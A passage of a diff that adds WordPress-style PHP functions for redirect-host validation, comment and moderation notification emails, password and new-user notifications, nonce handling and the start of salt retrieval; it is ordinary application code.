+
+	// Reject if certain components are set but host is not. This catches urls like https:host.com for which parse_url does not set the host field.
+	if ( ! isset( $lp['host'] ) && ( isset( $lp['scheme'] ) || isset( $lp['user'] ) || isset( $lp['pass'] ) || isset( $lp['port'] ) ) ) {
+		return $default;
+	}
+
+	// Reject malformed components parse_url() can return on odd inputs.
+	foreach ( array( 'user', 'pass', 'host' ) as $component ) {
+		if ( isset( $lp[ $component ] ) && strpbrk( $lp[ $component ], ':/?#@' ) ) {
+			return $default;
+		}
+	}
+
+	$wpp = parse_url(home_url());
+
+	/**
+	 * Filters the whitelist of hosts to redirect to.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array       $hosts An array of allowed hosts.
+	 * @param bool|string $host  The parsed host; empty if not isset.
+	 */
+	$allowed_hosts = (array) apply_filters( 'allowed_redirect_hosts', array($wpp['host']), isset($lp['host']) ? $lp['host'] : '' );
+
+	if ( isset($lp['host']) && ( !in_array($lp['host'], $allowed_hosts) && $lp['host'] != strtolower($wpp['host'])) )
+		$location = $default;
+
+	return $location;
+}
+endif;
+
+if ( ! function_exists('wp_notify_postauthor') ) :
+/**
+ * Notify an author (and/or others) of a comment/trackback/pingback on a post.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Comment  $comment_id Comment ID or WP_Comment object.
+ * @param string          $deprecated Not used
+ * @return bool True on completion. False if no email addresses were specified.
+ */
+function wp_notify_postauthor( $comment_id, $deprecated = null ) {
+	if ( null !== $deprecated ) {
+		_deprecated_argument( __FUNCTION__, '3.8.0' );
+	}
+
+	$comment = get_comment( $comment_id );
+	if ( empty( $comment ) || empty( $comment->comment_post_ID ) )
+		return false;
+
+	$post    = get_post( $comment->comment_post_ID );
+	$author  = get_userdata( $post->post_author );
+
+	// Who to notify? By default, just the post author, but others can be added.
+	$emails = array();
+	if ( $author ) {
+		$emails[] = $author->user_email;
+	}
+
+	/**
+	 * Filters the list of email addresses to receive a comment notification.
+	 *
+	 * By default, only post authors are notified of comments. This filter allows
+	 * others to be added.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $emails     An array of email addresses to receive a comment notification.
+	 * @param int   $comment_id The comment ID.
+	 */
+	$emails = apply_filters( 'comment_notification_recipients', $emails, $comment->comment_ID );
+	$emails = array_filter( $emails );
+
+	// If there are no addresses to send the comment to, bail.
+	if ( ! count( $emails ) ) {
+		return false;
+	}
+
+	// Facilitate unsetting below without knowing the keys.
+	$emails = array_flip( $emails );
+
+	/**
+	 * Filters whether to notify comment authors of their comments on their own posts.
+	 *
+	 * By default, comment authors aren't notified of their comments on their own
+	 * posts. This filter allows you to override that.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param bool $notify     Whether to notify the post author of their own comment.
+	 *                         Default false.
+	 * @param int  $comment_id The comment ID.
+	 */
+	$notify_author = apply_filters( 'comment_notification_notify_author', false, $comment->comment_ID );
+
+	// The comment was left by the author
+	if ( $author && ! $notify_author && $comment->user_id == $post->post_author ) {
+		unset( $emails[ $author->user_email ] );
+	}
+
+	// The author moderated a comment on their own post
+	if ( $author && ! $notify_author && $post->post_author == get_current_user_id() ) {
+		unset( $emails[ $author->user_email ] );
+	}
+
+	// The post author is no longer a member of the blog
+	if ( $author && ! $notify_author && ! user_can( $post->post_author, 'read_post', $post->ID ) ) {
+		unset( $emails[ $author->user_email ] );
+	}
+
+	// If there's no email to send the comment to, bail, otherwise flip array back around for use below
+	if ( ! count( $emails ) ) {
+		return false;
+	} else {
+		$emails = array_flip( $emails );
+	}
+
+	$switched_locale = switch_to_locale( get_locale() );
+
+	$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
+
+	// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+	// we want to reverse this for the plain text arena of emails.
+	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+	$comment_content = wp_specialchars_decode( $comment->comment_content );
+
+	switch ( $comment->comment_type ) {
+		case 'trackback':
+			/* translators: 1: Post title */
+			$notify_message  = sprintf( __( 'New trackback on your post "%s"' ), $post->post_title ) . "\r\n";
+			/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
+			$notify_message .= sprintf( __('Website: %1$s (IP address: %2$s, %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
+			$notify_message .= __( 'You can see all trackbacks on this post here:' ) . "\r\n";
+			/* translators: 1: blog name, 2: post title */
+			$subject = sprintf( __('[%1$s] Trackback: "%2$s"'), $blogname, $post->post_title );
+			break;
+		case 'pingback':
+			/* translators: 1: Post title */
+			$notify_message  = sprintf( __( 'New pingback on your post "%s"' ), $post->post_title ) . "\r\n";
+			/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
+			$notify_message .= sprintf( __('Website: %1$s (IP address: %2$s, %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
+			$notify_message .= __( 'You can see all pingbacks on this post here:' ) . "\r\n";
+			/* translators: 1: blog name, 2: post title */
+			$subject = sprintf( __('[%1$s] Pingback: "%2$s"'), $blogname, $post->post_title );
+			break;
+		default: // Comments
+			$notify_message  = sprintf( __( 'New comment on your post "%s"' ), $post->post_title ) . "\r\n";
+			/* translators: 1: comment author, 2: comment author's IP address, 3: comment author's hostname */
+			$notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n";
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __('Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
+			$notify_message .= __( 'You can see all comments on this post here:' ) . "\r\n";
+			/* translators: 1: blog name, 2: post title */
+			$subject = sprintf( __('[%1$s] Comment: "%2$s"'), $blogname, $post->post_title );
+			break;
+	}
+	$notify_message .= get_permalink($comment->comment_post_ID) . "#comments\r\n\r\n";
+	$notify_message .= sprintf( __('Permalink: %s'), get_comment_link( $comment ) ) . "\r\n";
+
+	if ( user_can( $post->post_author, 'edit_comment', $comment->comment_ID ) ) {
+		if ( EMPTY_TRASH_DAYS ) {
+			$notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
+		} else {
+			$notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
+		}
+		$notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
+	}
+
+	$wp_email = 'wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
+
+	if ( '' == $comment->comment_author ) {
+		$from = "From: \"$blogname\" <$wp_email>";
+		if ( '' != $comment->comment_author_email )
+			$reply_to = "Reply-To: $comment->comment_author_email";
+	} else {
+		$from = "From: \"$comment->comment_author\" <$wp_email>";
+		if ( '' != $comment->comment_author_email )
+			$reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>";
+	}
+
+	$message_headers = "$from\n"
+		. "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+
+	if ( isset($reply_to) )
+		$message_headers .= $reply_to . "\n";
+
+	/**
+	 * Filters the comment notification email text.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $notify_message The comment notification email text.
+	 * @param int    $comment_id     Comment ID.
+	 */
+	$notify_message = apply_filters( 'comment_notification_text', $notify_message, $comment->comment_ID );
+
+	/**
+	 * Filters the comment notification email subject.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $subject    The comment notification email subject.
+	 * @param int    $comment_id Comment ID.
+	 */
+	$subject = apply_filters( 'comment_notification_subject', $subject, $comment->comment_ID );
+
+	/**
+	 * Filters the comment notification email headers.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $message_headers Headers for the comment notification email.
+	 * @param int    $comment_id      Comment ID.
+	 */
+	$message_headers = apply_filters( 'comment_notification_headers', $message_headers, $comment->comment_ID );
+
+	foreach ( $emails as $email ) {
+		@wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
+	}
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_notify_moderator') ) :
+/**
+ * Notifies the moderator of the site about a new comment that is awaiting approval.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * Uses the {@see 'notify_moderator'} filter to determine whether the site moderator
+ * should be notified, overriding the site setting.
+ *
+ * @param int $comment_id Comment ID.
+ * @return true Always returns true.
+ */
+function wp_notify_moderator($comment_id) {
+	global $wpdb;
+
+	$maybe_notify = get_option( 'moderation_notify' );
+
+	/**
+	 * Filters whether to send the site moderator email notifications, overriding the site setting.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param bool $maybe_notify Whether to notify blog moderator.
+	 * @param int  $comment_ID   The id of the comment for the notification.
+	 */
+	$maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_id );
+
+	if ( ! $maybe_notify ) {
+		return true;
+	}
+
+	$comment = get_comment($comment_id);
+	$post = get_post($comment->comment_post_ID);
+	$user = get_userdata( $post->post_author );
+	// Send to the administration and to the post author if the author can modify the comment.
+	$emails = array( get_option( 'admin_email' ) );
+	if ( $user && user_can( $user->ID, 'edit_comment', $comment_id ) && ! empty( $user->user_email ) ) {
+		if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) )
+			$emails[] = $user->user_email;
+	}
+
+	$switched_locale = switch_to_locale( get_locale() );
+
+	$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
+	$comments_waiting = $wpdb->get_var("SELECT count(comment_ID) FROM $wpdb->comments WHERE comment_approved = '0'");
+
+	// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+	// we want to reverse this for the plain text arena of emails.
+	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+	$comment_content = wp_specialchars_decode( $comment->comment_content );
+
+	switch ( $comment->comment_type ) {
+		case 'trackback':
+			/* translators: 1: Post title */
+			$notify_message  = sprintf( __('A new trackback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
+			$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			/* translators: 1: Trackback/pingback/comment author URL */
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= __('Trackback excerpt: ') . "\r\n" . $comment_content . "\r\n\r\n";
+			break;
+		case 'pingback':
+			/* translators: 1: Post title */
+			$notify_message  = sprintf( __('A new pingback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
+			$notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			/* translators: 1: Trackback/pingback/comment author URL */
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= __('Pingback excerpt: ') . "\r\n" . $comment_content . "\r\n\r\n";
+			break;
+		default: // Comments
+			/* translators: 1: Post title */
+			$notify_message  = sprintf( __('A new comment on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			/* translators: 1: Comment author name, 2: comment author's IP address, 3: comment author's hostname */
+			$notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			/* translators: 1: Comment author URL */
+			$notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n";
+			/* translators: 1: Trackback/pingback/comment author URL */
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			/* translators: 1: Comment text */
+			$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
+			break;
+	}
+
+	/* translators: Comment moderation. 1: Comment action URL */
+	$notify_message .= sprintf( __( 'Approve it: %s' ), admin_url( "comment.php?action=approve&c={$comment_id}#wpbody-content" ) ) . "\r\n";
+
+	if ( EMPTY_TRASH_DAYS ) {
+		/* translators: Comment moderation. 1: Comment action URL */
+		$notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment_id}#wpbody-content" ) ) . "\r\n";
+	} else {
+		/* translators: Comment moderation. 1: Comment action URL */
+		$notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment_id}#wpbody-content" ) ) . "\r\n";
+	}
+
+	/* translators: Comment moderation. 1: Comment action URL */
+	$notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment_id}#wpbody-content" ) ) . "\r\n";
+
+	/* translators: Comment moderation. 1: Number of comments awaiting approval */
+	$notify_message .= sprintf( _n('Currently %s comment is waiting for approval. Please visit the moderation panel:',
+ 		'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting), number_format_i18n($comments_waiting) ) . "\r\n";
+	$notify_message .= admin_url( "edit-comments.php?comment_status=moderated#wpbody-content" ) . "\r\n";
+
+	/* translators: Comment moderation notification email subject. 1: Site name, 2: Post title */
+	$subject = sprintf( __('[%1$s] Please moderate: "%2$s"'), $blogname, $post->post_title );
+	$message_headers = '';
+
+	/**
+	 * Filters the list of recipients for comment moderation emails.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $emails     List of email addresses to notify for comment moderation.
+	 * @param int   $comment_id Comment ID.
+	 */
+	$emails = apply_filters( 'comment_moderation_recipients', $emails, $comment_id );
+
+	/**
+	 * Filters the comment moderation email text.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $notify_message Text of the comment moderation email.
+	 * @param int    $comment_id     Comment ID.
+	 */
+	$notify_message = apply_filters( 'comment_moderation_text', $notify_message, $comment_id );
+
+	/**
+	 * Filters the comment moderation email subject.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $subject    Subject of the comment moderation email.
+	 * @param int    $comment_id Comment ID.
+	 */
+	$subject = apply_filters( 'comment_moderation_subject', $subject, $comment_id );
+
+	/**
+	 * Filters the comment moderation email headers.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $message_headers Headers for the comment moderation email.
+	 * @param int    $comment_id      Comment ID.
+	 */
+	$message_headers = apply_filters( 'comment_moderation_headers', $message_headers, $comment_id );
+
+	foreach ( $emails as $email ) {
+		@wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
+	}
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_password_change_notification') ) :
+/**
+ * Notify the blog admin of a user changing password, normally via email.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_User $user User object.
+ */
+function wp_password_change_notification( $user ) {
+	// send a copy of password change notification to the admin
+	// but check to see if it's the admin whose password we're changing, and skip this
+	if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) {
+		/* translators: %s: user name */
+		$message = sprintf( __( 'Password changed for user: %s' ), $user->user_login ) . "\r\n";
+		// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+		// we want to reverse this for the plain text arena of emails.
+		$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+
+		$wp_password_change_notification_email = array(
+			'to'      => get_option( 'admin_email' ),
+			/* translators: Password change notification email subject. %s: Site title */
+			'subject' => __( '[%s] Password Changed' ),
+			'message' => $message,
+			'headers' => '',
+		);
+
+		/**
+		 * Filters the contents of the password change notification email sent to the site admin.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param array   $wp_password_change_notification_email {
+		 *     Used to build wp_mail().
+		 *
+		 *     @type string $to      The intended recipient - site admin email address.
+		 *     @type string $subject The subject of the email.
+		 *     @type string $message The body of the email.
+		 *     @type string $headers The headers of the email.
+		 * }
+		 * @param WP_User $user     User object for user whose password was changed.
+		 * @param string  $blogname The site title.
+		 */
+		$wp_password_change_notification_email = apply_filters( 'wp_password_change_notification_email', $wp_password_change_notification_email, $user, $blogname );
+
+		wp_mail(
+			$wp_password_change_notification_email['to'],
+			wp_specialchars_decode( sprintf( $wp_password_change_notification_email['subject'], $blogname ) ),
+			$wp_password_change_notification_email['message'],
+			$wp_password_change_notification_email['headers']
+		);
+	}
+}
+endif;
+
+if ( !function_exists('wp_new_user_notification') ) :
+/**
+ * Email login credentials to a newly-registered user.
+ *
+ * A new user registration notification is also sent to admin email.
+ *
+ * @since 2.0.0
+ * @since 4.3.0 The `$plaintext_pass` parameter was changed to `$notify`.
+ * @since 4.3.1 The `$plaintext_pass` parameter was deprecated. `$notify` added as a third parameter.
+ * @since 4.6.0 The `$notify` parameter accepts 'user' for sending notification only to the user created.
+ *
+ * @global wpdb         $wpdb      WordPress database object for queries.
+ * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
+ *
+ * @param int    $user_id    User ID.
+ * @param null   $deprecated Not used (argument deprecated).
+ * @param string $notify     Optional. Type of notification that should happen. Accepts 'admin' or an empty
+ *                           string (admin only), 'user', or 'both' (admin and user). Default empty.
+ */
+function wp_new_user_notification( $user_id, $deprecated = null, $notify = '' ) {
+	if ( $deprecated !== null ) {
+		_deprecated_argument( __FUNCTION__, '4.3.1' );
+	}
+
+	global $wpdb, $wp_hasher;
+	$user = get_userdata( $user_id );
+
+	// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+	// we want to reverse this for the plain text arena of emails.
+	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+
+	if ( 'user' !== $notify ) {
+		$switched_locale = switch_to_locale( get_locale() );
+
+		/* translators: %s: site title */
+		$message  = sprintf( __( 'New user registration on your site %s:' ), $blogname ) . "\r\n\r\n";
+		/* translators: %s: user login */
+		$message .= sprintf( __( 'Username: %s' ), $user->user_login ) . "\r\n\r\n";
+		/* translators: %s: user email address */
+		$message .= sprintf( __( 'Email: %s' ), $user->user_email ) . "\r\n";
+
+		$wp_new_user_notification_email_admin = array(
+			'to'      => get_option( 'admin_email' ),
+			/* translators: Password change notification email subject. %s: Site title */
+			'subject' => __( '[%s] New User Registration' ),
+			'message' => $message,
+			'headers' => '',
+		);
+
+		/**
+		 * Filters the contents of the new user notification email sent to the site admin.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param array   $wp_new_user_notification_email {
+		 *     Used to build wp_mail().
+		 *
+		 *     @type string $to      The intended recipient - site admin email address.
+		 *     @type string $subject The subject of the email.
+		 *     @type string $message The body of the email.
+		 *     @type string $headers The headers of the email.
+		 * }
+		 * @param WP_User $user     User object for new user.
+		 * @param string  $blogname The site title.
+		 */
+		$wp_new_user_notification_email_admin = apply_filters( 'wp_new_user_notification_email_admin', $wp_new_user_notification_email_admin, $user, $blogname );
+
+		@wp_mail(
+			$wp_new_user_notification_email_admin['to'],
+			wp_specialchars_decode( sprintf( $wp_new_user_notification_email_admin['subject'], $blogname ) ),
+			$wp_new_user_notification_email_admin['message'],
+			$wp_new_user_notification_email_admin['headers']
+		);
+
+		if ( $switched_locale ) {
+			restore_previous_locale();
+		}
+	}
+
+	// `$deprecated was pre-4.3 `$plaintext_pass`. An empty `$plaintext_pass` didn't sent a user notification.
+	if ( 'admin' === $notify || ( empty( $deprecated ) && empty( $notify ) ) ) {
+		return;
+	}
+
+	// Generate something random for a password reset key.
+	$key = wp_generate_password( 20, false );
+
+	/** This action is documented in wp-login.php */
+	do_action( 'retrieve_password_key', $user->user_login, $key );
+
+	// Now insert the key, hashed, into the DB.
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+	$hashed = time() . ':' . $wp_hasher->HashPassword( $key );
+	$wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user->user_login ) );
+
+	$switched_locale = switch_to_locale( get_user_locale( $user ) );
+
+	/* translators: %s: user login */
+	$message = sprintf(__('Username: %s'), $user->user_login) . "\r\n\r\n";
+	$message .= __('To set your password, visit the following address:') . "\r\n\r\n";
+	$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user->user_login), 'login') . ">\r\n\r\n";
+
+	$message .= wp_login_url() . "\r\n";
+
+	$wp_new_user_notification_email = array(
+		'to'      => $user->user_email,
+		/* translators: Password change notification email subject. %s: Site title */
+		'subject' => __( '[%s] Your username and password info' ),
+		'message' => $message,
+		'headers' => '',
+	);
+
+	/**
+	 * Filters the contents of the new user notification email sent to the new user.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array   $wp_new_user_notification_email {
+	 *     Used to build wp_mail().
+	 *
+	 *     @type string $to      The intended recipient - New user email address.
+	 *     @type string $subject The subject of the email.
+	 *     @type string $message The body of the email.
+	 *     @type string $headers The headers of the email.
+	 * }
+	 * @param WP_User $user     User object for new user.
+	 * @param string  $blogname The site title.
+	 */
+	$wp_new_user_notification_email = apply_filters( 'wp_new_user_notification_email', $wp_new_user_notification_email, $user, $blogname );
+
+	wp_mail(
+		$wp_new_user_notification_email['to'],
+		wp_specialchars_decode( sprintf( $wp_new_user_notification_email['subject'], $blogname ) ),
+		$wp_new_user_notification_email['message'],
+		$wp_new_user_notification_email['headers']
+	);
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+}
+endif;
+
+if ( !function_exists('wp_nonce_tick') ) :
+/**
+ * Get the time-dependent variable for nonce creation.
+ *
+ * A nonce has a lifespan of two ticks. Nonces in their second tick may be
+ * updated, e.g. by autosave.
+ *
+ * @since 2.5.0
+ *
+ * @return float Float value rounded up to the next highest integer.
+ */
+function wp_nonce_tick() {
+	/**
+	 * Filters the lifespan of nonces in seconds.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $lifespan Lifespan of nonces in seconds. Default 86,400 seconds, or one day.
+	 */
+	$nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS );
+
+	return ceil(time() / ( $nonce_life / 2 ));
+}
+endif;
+
+if ( !function_exists('wp_verify_nonce') ) :
+/**
+ * Verify that correct nonce was used with time limit.
+ *
+ * The user is given an amount of time to use the token, so therefore, since the
+ * UID and $action remain the same, the independent variable is the time.
+ *
+ * @since 2.0.3
+ *
+ * @param string     $nonce  Nonce that was used in the form to verify
+ * @param string|int $action Should give context to what is taking place and be the same when nonce was created.
+ * @return false|int False if the nonce is invalid, 1 if the nonce is valid and generated between
+ *                   0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
+ */
+function wp_verify_nonce( $nonce, $action = -1 ) {
+	$nonce = (string) $nonce;
+	$user = wp_get_current_user();
+	$uid = (int) $user->ID;
+	if ( ! $uid ) {
+		/**
+		 * Filters whether the user who generated the nonce is logged out.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param int    $uid    ID of the nonce-owning user.
+		 * @param string $action The nonce action.
+		 */
+		$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
+	}
+
+	if ( empty( $nonce ) ) {
+		return false;
+	}
+
+	$token = wp_get_session_token();
+	$i = wp_nonce_tick();
+
+	// Nonce generated 0-12 hours ago
+	$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
+	if ( hash_equals( $expected, $nonce ) ) {
+		return 1;
+	}
+
+	// Nonce generated 12-24 hours ago
+	$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
+	if ( hash_equals( $expected, $nonce ) ) {
+		return 2;
+	}
+
+	/**
+	 * Fires when nonce verification fails.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string     $nonce  The invalid nonce.
+	 * @param string|int $action The nonce action.
+	 * @param WP_User    $user   The current user object.
+	 * @param string     $token  The user's session token.
+	 */
+	do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );
+
+	// Invalid nonce
+	return false;
+}
+endif;
+
+if ( !function_exists('wp_create_nonce') ) :
+/**
+ * Creates a cryptographic token tied to a specific action, user, user session,
+ * and window of time.
+ *
+ * @since 2.0.3
+ * @since 4.0.0 Session tokens were integrated with nonce creation
+ *
+ * @param string|int $action Scalar value to add context to the nonce.
+ * @return string The token.
+ */
+function wp_create_nonce($action = -1) {
+	$user = wp_get_current_user();
+	$uid = (int) $user->ID;
+	if ( ! $uid ) {
+		/** This filter is documented in wp-includes/pluggable.php */
+		$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
+	}
+
+	$token = wp_get_session_token();
+	$i = wp_nonce_tick();
+
+	return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
+}
+endif;
+
+if ( !function_exists('wp_salt') ) :
+/**
+ * Get salt to add to hashes.
+ *
+ * Salts are created using secret keys. Secret keys are located in two places:
+ * in the database and in the wp-config.php file. The secret key in the database
+ * is randomly generated and will be appended to the secret keys in wp-config.php.
+ *
+ * The secret keys in wp-config.php should be updated to strong, random keys to maximize
+ * security. Below is an example of how the secret key constants are defined.
+ * Do not paste this example directly into wp-config.php. Instead, have a
+ * {@link https://api.wordpress.org/secret-key/1.1/salt/ secret key created} just
+ * for you.
+ *
+ *     define('AUTH_KEY',         ' Xakm<o xQy rw4EMsLKM-?!T+,PFF})H4lzcW57AF0U@N@< >M%G4Yt>f`z]MON');
+ *     define('SECURE_AUTH_KEY',  'LzJ}op]mr|6+![P}Ak:uNdJCJZd>(Hx.-Mh#Tz)pCIU#uGEnfFz|f ;;eU%/U^O~');
+ *     define('LOGGED_IN_KEY',    '|i|Ux`9<p-h$aFf(qnT:sDO:D1P^wZ$$/Ra@miTJi9G;ddp_<q}6H1)o|a +&JCM');
+ *     define('NONCE_KEY',        '%:R{[P|,s.KuMltH5}cI;/k<Gx~j!f0I)m_sIyu+&NJZ)-iO>z7X>QYR0Z_XnZ@|');
+ *     define('AUTH_SALT',        'eZyT)-Naw]F8CwA*VaW#q*|.)g@o}||wf~@C-YSt}(dh_r6EbI#A,y|nU2{B#JBW');
+ *     define('SECURE_AUTH_SALT', '!=oLUTXh,QW=H `}`L|9/^4-3 STz},T(w}W<I`.JjPi)<Bmf1v,HpGe}T1:Xt7n');
+ *     define('LOGGED_IN_SALT',   '+XSqHc;@Q*K_b|Z?NC[3H!!EONbh.n<+=uKR:>*c(u`g~EJBf#8u#R{mUEZrozmm');
+ *     define('NONCE_SALT',       'h`GXHhD>SLWVfg1(1(N{;.V!MoE(SfbA_ksP@&`+AycHcAV$+?@3q+rxV{%^VyKT');
+ *
+ * Salting passwords helps against tools which has stored hashed values of
+ * common dictionary strings. The added values makes it harder to crack.
+ *
+ * @since 2.5.0
+ *
+ * @link https://api.wordpress.org/secret-key/1.1/salt/ Create secrets for wp-config.php
+ *
+ * @staticvar array $cached_salts
+ * @staticvar array $duplicated_keys
+ *
+ * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce)
+ * @return string Salt value
+ */
+function wp_salt( $scheme = 'auth' ) {
+	static $cached_salts = array();
+	if ( isset( $cached_salts[ $scheme ] ) ) {
+		/**
+		 * Filters the WordPress salt.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $cached_salt Cached salt for the given scheme.
+		 * @param string $scheme      Authentication scheme. Values include 'auth',
+		 *                            'secure_auth', 'logged_in', and 'nonce'.
+		 */
+		return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
+	}
+
+	static $duplicated_keys;
+	if ( null === $duplicated_keys ) {
+		$duplicated_keys = array( 'put your unique phrase here' => true );
+		foreach ( array( 'AUTH', 'SECURE_AUTH', 'LOGGED_IN', 'NONCE', 'SECRET' ) as $first ) {
+			foreach ( array( 'KEY', 'SALT' ) as $second ) {
+				if ( ! defined( "{$first}_{$second}" ) ) {
+					continue;
+				}
+				$value = constant( "{$first}_{$second}" );
+				$duplicated_keys[ $value ] = isset( $duplicated_keys[ $value ] );
+			}
+		}
+	}
+
+	$values = array(
+		'key' => '',
+		'salt' => ''
+	);
+	if ( defined( 'SECRET_KEY' ) && SECRET_KEY && empty( $duplicated_keys[ SECRET_KEY ] ) ) {
+		$values['key'] = SECRET_KEY;
+	}
+	if ( 'auth' == $scheme && defined( 'SECRET_SALT' ) && SECRET_SALT && empty( $duplicated_keys[ SECRET_SALT ] ) ) {
+		$values['salt'] = SECRET_SALT;
+	}
+
+	if ( in_array( $scheme, array( 'auth', 'secure_auth', 'logged_in', 'nonce' ) ) ) {
+		foreach ( array( 'key', 'salt' ) as $type ) {
+			$const = strtoupper( "{$scheme}_{$type}" );
